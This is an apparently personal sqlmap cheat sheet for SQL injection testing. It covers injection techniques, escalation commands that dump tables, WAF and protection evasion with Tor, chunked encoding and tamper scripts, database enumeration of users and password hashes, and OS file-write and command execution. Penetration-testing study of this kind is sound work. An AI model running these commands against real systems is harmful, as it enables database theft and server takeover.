SQLmap

Core Flags

OptionPurpose
-u / --urlTarget URL (GET params tested by default).
--dataPOST body (e.g. 'uid=1&name=test'). Use * at injection point: 'uid=1*&name=test'.
-pTest only this parameter (e.g. -p uid).
-rRequest file — full HTTP request (from Burp / Copy to file). Put * in the request where to inject (e.g. /?id=*).
--cookieSession cookie (e.g. --cookie='PHPSESSID=...'). Use * in value to test cookie: --cookie="id=1*".
-H / --headerCustom header(s). Same for --host, --referer, -A/--user-agent.
--random-agentRandom User-Agent from built-in list (evade WAF that blocks sqlmap default).
--mobileUse a mobile User-Agent.
--methodHTTP method (e.g. --method PUT).
--batchNon-interactive (no prompts).

Workflow

NOTE: Don’t rely on sqlmap to crawl or guess…

Capture the exact request via:

  • a web proxy, save it to a file, and feed it to sqlmap
  • browser Web Developers Tools as a cURL command, then change curl to sqlmap and add any additional options like --forms
# WEB PROXY: Capture request > Save > 'request.txt'
sqlmap --batch -r request.txt

---

# Auto-parse HTML forms (if no proxy)
sqlmap --forms --batch -u "<URL>"

# Spider the site to find parameters
sqlmap --crawl=3 --batch -u "<URL>"

# (REST/JSON) Manual injection point -- use '*' where to inject
sqlmap --batch -u "http://target.com/api/v1/user/105*"

By default sqlmap prioritizes speed: level 1 only tests GET (URL) and POST (body). It does not test cookies or headers unless you raise the level.

  • -r (request file): Gold standard. Raw HTTP request = exact cookies, JSON, headers; no guessing.
  • --forms: Parses the HTML response, finds <form> inputs, and builds POST requests. Without it, a URL that only shows a login form is only tested as GET.
  • * marker: For REST (e.g. /user/105) or when the injection point isn’t a normal param, put * at the value to test: sqlmap -u "http://target/item/12*" — sqlmap injects at 12.

Techniques (BEUSTQ)

Try the simpler/faster techniques first to find easy wins, but

NOTE: remember this will miss techniques!

sqlmap --technique=BEU

Union-based

Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)

sqlmap -u "<URL>" --technique=U --union-cols=5

Error-based

Trigger DB errors that leak data inside the error message.

sqlmap -u "<URL>" --technique=E

Blind Boolean

Infer data from whether the page content or behaviour changes (true vs false).

NOTE: careful this is a very unstable method that might require multiple runs or --no-cast

sqlmap -u "<URL>" --technique=B --level 5 --risk 3

Blind Time

Infer data from response delays (e.g. SLEEP) when the condition is true.

sqlmap -u "<URL>" --technique=T

Stacked queries

Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).

sqlmap -u "<URL>" --technique=S

Inline queries

Query embedded inside the original query; uncommon and app-dependent.

sqlmap -u "<URL>" --technique=Q

Out-of-band

Exfiltrate via DNS or HTTP to a server you control when no output is visible.

sqlmap -u "<URL>" --dns-domain=<DOMAIN>

Troubleshooting

  • JSON/XML / APIs: sqlmap may not detect parameters automatically. Use -r with a captured request or raise --level.
  • Headers & cookies: Level 1 ignores them. --level 2 = cookies; --level 3 = User-Agent/Referer; --level 5 = Host.
  • CSRF tokens: If the form needs a fresh token per request, replay fails. Use --csrf-token="csrf_token_name" or --csrf-url.
OptionPurpose
--parse-errorsParse and display DBMS errors (syntax, access, etc.) so you can see what the database is complaining about.
-t <FILE>Store all traffic (requests and responses) to a file. Inspect manually to see where the failure occurs.
-v <LEVEL>Verbosity (e.g. -v 6). More console output; full HTTP requests/responses in real time so you can follow what sqlmap is doing.
--proxy <URL>Route sqlmap through a proxy (e.g. Burp: --proxy http://127.0.0.1:8080). Inspect, repeat, and use proxy features on every request.
# Show DBMS errors
sqlmap -u "http://target.com/vuln.php?id=1" --batch --parse-errors

# Log traffic to file
sqlmap -u "http://target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

# Verbose (e.g. level 6)
sqlmap -u "http://target.com/vuln.php?id=1" -v 6 --batch

# Via Burp
sqlmap -u "http://target.com/vuln.php?id=1" --batch --proxy http://127.0.0.1:8080

Attack Tuning & Escalation

“Silver Bullet” Commands

When default sqlmap fails to find an injection, match your scenario to one of these three archetypes.

Archetype A: The Logic/Bracket Failure (OR Payloads) Use when AND logic fails, or the query uses heavily nested parentheses (((...))).

  • * tells SQLMap to replace the parameter entirely (creates a clean True/False baseline).
  • --risk 3 enables OR payloads.
  • --level 5 tests maximum combinations of closing brackets/quotes.
sqlmap -u "http://<TARGET>/case5.php?id=*" --level 5 --risk 3 -T <TABLE> --dump --batch

Archetype B: The Custom Boundary (Manual Prefix) Use when you manually found the syntax breaker in Burp (e.g., )), but SQLMap isn’t guessing it.

  • --prefix forces SQLMap to inject the exact closing syntax before its payload.
sqlmap -u "http://<TARGET>/case6.php?col=id" --prefix='`)' --dump --batch

Archetype C: The Union Structure Failure Use when SQLMap detects a parameter but fails to extract data via UNION.

  • --technique=U forces UNION-based SQLi (saves time).
  • --union-cols=5 tells SQLMap exactly how many columns exist (find this manually with ORDER BY 5 in Burp).
sqlmap -u "http://<TARGET>/case7.php?id=1" --technique=U --union-cols=5 --dump --batch

Advanced Tuning

When SQLMap is hallucinating data or failing to distinguish True/False pages, use these flags to fix its baseline.

FlagPurpose / Mechanic
Boundaries & Coverage
--level=5Tests more parameters (Cookies, Headers) and uses complex boundary closures ())), "").
--risk=3Enables OR logic payloads. Required for Login bypasses and UPDATE/DELETE queries.
--prefix="..."Manually close the developer’s SQL string (e.g., --prefix="%'))").
--suffix="..."Manually comment out the rest of the developer’s SQL (e.g., --suffix="-- -").
Boolean State Tuning(Fixes “Hallucinations” and “2 Letters Off” errors)
--string="Success"Marks a page as TRUE only if this exact word appears.
--text-onlyStrips all HTML tags before comparing True/False. Fixes wobble from dynamic hidden fields.
--code=200Uses HTTP Status Codes to define TRUE.
--titlesCompares the <title> tags instead of the whole body.
Execution Control
--technique=BEUOnly use Boolean, Error, and Union. Skips Time-based (T) which causes timeouts.
--union-char='a'Replaces NULL with a string character. Fixes strict typing errors in UNION queries.
--union-from=usersAppends a specific table to the UNION payload (Required for Oracle DBs).

Evasion & Protections Bypass

Application Logic & Request

FlagDescription
--csrf-token="name"Automatically parses the HTTP response to extract and update anti-CSRF tokens for subsequent requests.
--randomize="param"Generates a random value for a specific parameter per request, bypassing anti-automation unique-value checks.
--eval="python_code"Executes inline Python to calculate dynamic parameter values (e.g., import hashlib; h=hashlib.md5(id).hexdigest()).

Network & Protocol Evasion

FlagDescription
--random-agentReplaces the default sqlmap User-Agent with a random, legitimate browser UA to bypass basic blacklists.
--skip-wafSkips SQLMap’s initial, highly-noisy WAF heuristic payload check.
--proxy="url"Routes traffic through a single proxy (e.g., socks4://127.0.0.1:9050) or a list (--proxy-file).
--torRoutes traffic via the Tor network (use --check-tor to verify anonymization).
--chunkedUses HTTP chunked transfer encoding to split POST bodies, bypassing WAF keyword inspection at the protocol layer.
--hppHTTP Parameter Pollution. Splits the payload across multiple identical parameters (e.g., ?id=1&id=UNION&id=SELECT).

Tamper Scripts

Tamper scripts use Python to rewrite the SQL payload before it is sent to the target. They can be chained by comma-separating them (e.g., --tamper=space2comment,randomcase).

Tamper-ScriptDescription
0eunionReplaces instances of UNION with e0UNION
base64encodeBase64-encodes all characters in a given payload
betweenReplaces greater than operator (>) with NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND #
commalesslimitReplaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart
equaltolikeReplaces all occurrences of operator equal (=) with LIKE counterpart
halfversionedmorekeywordsAdds (MySQL) versioned comment before each keyword
modsecurityversionedEmbraces complete query with (MySQL) versioned comment
modsecurityzeroversionedEmbraces complete query with (MySQL) zero-versioned comment
percentageAdds a percentage sign (%) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)
plus2concatReplaces plus operator (+) with (MSSQL) function CONCAT() counterpart
randomcaseReplaces each keyword character with random case value (e.g. SELECT -> SEleCt)
space2commentReplaces space character ( ) with comments /**/
space2dashReplaces space character ( ) with a dash comment (--) followed by a random string and a new line (\n)
space2hashReplaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\n)
space2mssqlblankReplaces (MSSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters
space2plusReplaces space character ( ) with plus (+)
space2randomblankReplaces space character ( ) with a random blank character from a valid set of alternate characters
symboliclogicalReplaces AND and OR logical operators with their symbolic counterparts (&& and ')
versionedkeywordsEncloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywordsEncloses each keyword with (MySQL) versioned comment

Database Enumeration

OptionPurpose
--banner --current-user --current-db --is-dbaDB version, user, DB name, is DBA.
--users --passwordsEnumerate DB users and hashes (needs high priv).
--dbsList all databases.
-D <DB> --tablesList tables in database.
-D <DB> -T <TABLE> --columnsList columns in table.
-D <DB> -T <TABLE> --dumpDump entire table.
-C col1,col2 --dumpDump only specified columns.
--start=N --stop=M --dumpDump rows N through M.
--where="cond" --dumpDump only rows matching condition.
--dump-all --exclude-sysdbsDump all DBs except system (e.g. information_schema, mysql).
--is-dba true →Pivot to --os-shell / --file-read (RCE).
Dump path~/.local/share/sqlmap/output/; use --dump-format=sqlite for large DBs.
DBMS root ≠ Linux rootDB root can write anywhere only if DBMS runs as Linux root.

OS Exploitation Options

OptionDescription
--file-write="local"Specifies the local file you want to upload to the target.
--file-dest="remote"Specifies the absolute path on the target server where the file should be written.
--os-cmd="cmd"Executes a single operating system command and retrieves the output.